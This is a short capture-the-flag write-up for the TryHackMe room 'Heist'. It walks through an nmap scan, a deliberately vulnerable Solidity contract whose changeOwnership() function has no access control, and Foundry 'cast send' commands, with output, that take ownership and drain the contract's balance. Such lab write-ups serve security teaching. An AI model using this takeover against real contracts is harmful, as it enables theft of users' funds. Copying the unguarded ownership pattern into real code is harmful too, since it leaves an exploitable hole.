Skip to Content
WriteupsTryHackMeHeist

Heist - THM

This is the writeup for the TryHackMe medium difficulty room called Heist .

Task

From the task we can conclude that this is going to be about exploiting a Smart Contract.

Recon

CMD: nmap -sS -sV -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 17:02 CEST Nmap scan report for 10.10.96.167 Host is up (0.045s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) 80/tcp open http 8545/tcp open daap mt-daapd DAAP

The nmap scan show that there is a webserver running on port 80 on the target machine.

Website

The website shows the vulnerable code of the Smart Contract written in Solidity and also shows our wallet properties.

// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; contract Challenge { address private owner; address private initOwner; constructor() payable { owner = msg.sender; initOwner = msg.sender; } function changeOwnership() external { owner = msg.sender; } function withdraw() external { require(msg.sender == owner, "Not owner!"); payable(owner).transfer(address(this).balance); } function getBalance() external view returns (uint256) { return address(this).balance; } function getOwnerBalance() external view returns (uint256) { return address(initOwner).balance; } function isSolved() external view returns (bool) { return (address(this).balance == 0); } function getAddress() external view returns (address) { return msg.sender; } function getOwner() external view returns (address) { return owner; } }

The vulnerable function changeOwnership() allows us to change the owner variable thus we can call the withdraw() function and make the contract transfer all of its balance to our address.

Exploitation

CMD: cast send $CONTRACT_ADDRESS "changeOwnership()" -r $RPC_URL --private-key $PRIVATE_KEY --legacy blockHash 0x010feb2f5f5e8a2b37cd878096d43909f2bc3801d8643c7fa51ef6cc3dc5dd89 blockNumber 6 contractAddress cumulativeGasUsed 27075 effectiveGasPrice 1000000000 from 0xD3042d6511D41935694cd68E8BBAA6FE0cfA8929 gasUsed 27075 logs [] logsBloom 0x00000000000000000000000000000000000000000000... root status 1 (success) transactionHash 0x6cb1ccd31595afc16dc2d80bb95edfc05ab9f5bf2f3465912a369838ff705fca transactionIndex 0 type 0 blobGasPrice blobGasUsed to 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127
CMD: cast send $CONTRACT_ADDRESS "withdraw()" -r $RPC_URL --private-key $PRIVATE_KEY --legacy blockHash 0x618c9f58791a3d9bc52c0690c0198c6f0e6bac524f192b24fe8dcf4321714b2e blockNumber 8 contractAddress cumulativeGasUsed 23714 effectiveGasPrice 1000000000 from 0xD3042d6511D41935694cd68E8BBAA6FE0cfA8929 gasUsed 23714 logs [] logsBloom 0x00000000000000000000000000000000000000000000... root status 1 (success) transactionHash 0x46b74a4e4c7483fee18b7199d29e77192ed0928b77cdbaee669396ed8996ecbd transactionIndex 0 type 0 blobGasPrice blobGasUsed to 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127

Now we can check whether we succeeded.

CMD: cast call $CONTRACT_ADDRESS "isSolved()(bool)" -r ${RPC_URL} --private-key $PRIVATE_KEY true

After clicking on the Get Flag button on the website we recive the FLAG.

Flag

Last updated on